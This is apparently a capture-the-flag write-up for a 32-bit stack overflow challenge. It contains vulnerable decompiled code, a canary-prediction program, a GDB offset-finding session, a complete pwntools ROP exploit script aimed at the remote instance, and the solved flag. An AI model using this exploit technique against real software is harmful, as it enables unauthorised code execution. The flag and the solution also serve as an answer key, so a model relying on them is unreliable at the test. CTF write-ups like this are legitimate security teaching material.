Difficulty
easy
Categories
pwn
Description
Jurassic Stack Park recently upgraded their containment management terminals. We managed to pull a copy of the binary off one of the kiosks near the T-Rex enclosure.
Author
0x90
Attachments
stackosaurus.tar.gz
Service
Challenge has a remote instance.

Overview

We’re dealing with a 32-bit binary:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

The disassembly of the binary is very clean already. For writeup purposes, this has been cleaned up even more using an LLM:

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    alarm(30);

    srand(getpid());
    electric_fence = rand();

    puts("");
    puts("                 __");
    puts("                / _)");
    puts("       _/\\/\\/\\_/ /");
    puts("     _|         /");
    puts("   _|  (  | (  |");
    puts("  /__.-'|_|--|_|");
    puts("");
    puts("  JURASSIC STACK PARK");
    puts("  Containment Management Terminal v2.6");
    puts("  ========================================");
    printf("  Terminal PID    : %d\n", getpid());
    puts("    Perimeter Fences: ACTIVE");
    puts("  ========================================");
    puts("");

    while (1) {
        int choice;

        puts("  [1] Register new specimen");
        puts("  [2] View enclosures");
        puts("  [3] Check fence status");
        puts("  [0] Shut down terminal");
        printf("\n  > ");

        if (scanf("%d", &choice) != 1) {
            break;
        }

        getchar();
        puts("");

        if (choice == 1) {
            register_dino();
        } else if (choice == 2) {
            view_enclosures();
        } else if (choice == 3) {
            check_fence();
        } else if (choice == 0) {
            puts("  Terminal shutting down.");
            break;
        } else {
            puts("  Not a valid option.");
        }
    }

    return 0;
}

void open_enclosure(int arg1, int arg2) {
    if (arg1 != 0xd1a0d1a0 || arg2 != 0xc0dec0de) {
        puts("ACCESS DENIED, invalid containment credentials.");
    } else {
        FILE *fp = fopen("/flag", "r");

        if (!fp) {
            puts("Flag file not found. Contact an admin.");
            return;
        }

        char buf[0x80];
        fgets(buf, 0x80, fp);
        fclose(fp);
        puts(buf);
    }

    exit(0);
}

int register_dino() {
    uint32_t saved_fence = electric_fence;

    puts("You are registering a new specimen for Sector 4.");
    printf("Specimen name: ");

    char name[0x50];
    read(0, name, 0x100);

    if (saved_fence == electric_fence) {
        puts("Specimen registered successfully, sector 4 updated.");
        return;
    }

    puts("[FENCE BREACH] Electric fence integrity compromised, terminal locked down.");
    exit(1);
}

Solution

BOF

We can see that we need to call the open_enclosure function without it being directly exposed in the program. It expects some very specific arguments, so simple ROP won’t do.

If we look closely at the register_dino function, we can see that we read up to 0x100 bytes into a stack variable, which allows us to overflow the stack.

However, the binary has a builtin protection against this, by placing a stack cookie (electric_fence) that cannot be overwritten. It is generated by a rand() call which uses the process ID as the seed.

Luckily, the binary prints out the PID at the start, so we can write a small C program to predict the cookie:

#include <stdlib.h>
#include <stdio.h>

int main() {
    int pid;
    scanf("%d", &pid);
    srandom(pid);
    printf("%ld",random());
}

If we break at the cookie check in GDB and send a cyclic pattern as the dino name, we can figure out where we need to place the cookie:

pwndbg> break * 0x804997d
pwndbg> run
                / _)
       _/\/\/\_/ /
     _|         /
   _|  (  | (  |
  /__.-'|_|--|_|

  JURASSIC STACK PARK
  Containment Management Terminal v2.6
  ========================================
  Terminal PID    : 1760022
    Perimeter Fences: ACTIVE
  ========================================

  [1] Register new specimen
  [2] View enclosures
  [3] Check fence status
  [0] Shut down terminal

  > 1

You are registering a new specimen for Sector 4.
Specimen name: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak

Breakpoint 1, 0x0804997d in register_dino ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]───────────────────────────────────────────────────────────────────────────────────────────
Breakpoint hit at 0x804997d
───────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────
 EAX  0x1395b203
 EBX  0x810e000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
 ECX  0xffffc78c ◂— 0x61616161 ('aaaa')
 EDX  0x61616171 ('qaaa')
 EDI  1
 ESI  0x810e000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
 EBP  0xffffc7d8 ◂— 'taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'
 ESP  0xffffc780 ◂— 0
 EIP  0x804997d (register_dino+94) ◂— cmp edx, eax
─────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────
 ► 0x804997d <register_dino+94>     cmp    edx, eax     0x61616171 - 0x1395b203     EFLAGS => 0x212 [ cf pf AF zf sf IF df of ac ]
   0x804997f <register_dino+96>   ✘ je     register_dino+126           <register_dino+126>

cyclic -l qaaa returns 64, this is our offset.

Now with that, in place, we can use a payload of "A"*64+p32(cookie)+cyclic to figure out that the offset for overwriting the return pointer is 12 bytes further.

ROP

From here, we can do simple 32-bit ROP to call the win function with the correct arguments.

My solve script looks like this:

#!/usr/bin/env python3

from pwn import *

exe = ELF("stackosaurus_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote('<uuid>.qualifier.swiss-hacking-challenge.ch', 31337, ssl=True)

    return r

def main():
    r = conn()
    r.recvuntil(b"Terminal PID    : ")
    pid = r.recvuntil(b"\n").strip()

    success(b"PID: "+pid)
    rand = process(["./a.out"]) # random.c
    rand.sendline(pid)
    cookie = int(rand.recvall())

    r.recvuntil(b">")
    r.sendline(b"1")
    r.sendlineafter(b"Specimen name:", b"A"*64+p32(cookie) + b"A"*12 + p32(0x8049865) + p32(0) +p32(0xd1a0d1a0) + p32(0xc0dec0de)  )

    r.interactive()


if __name__ == "__main__":
    main()

Flag:

dach2026{l1f3_f1nd5_a_w4y_p4st_th3_f3nc3_8b2e4a91c3_d8a51d53bf0a}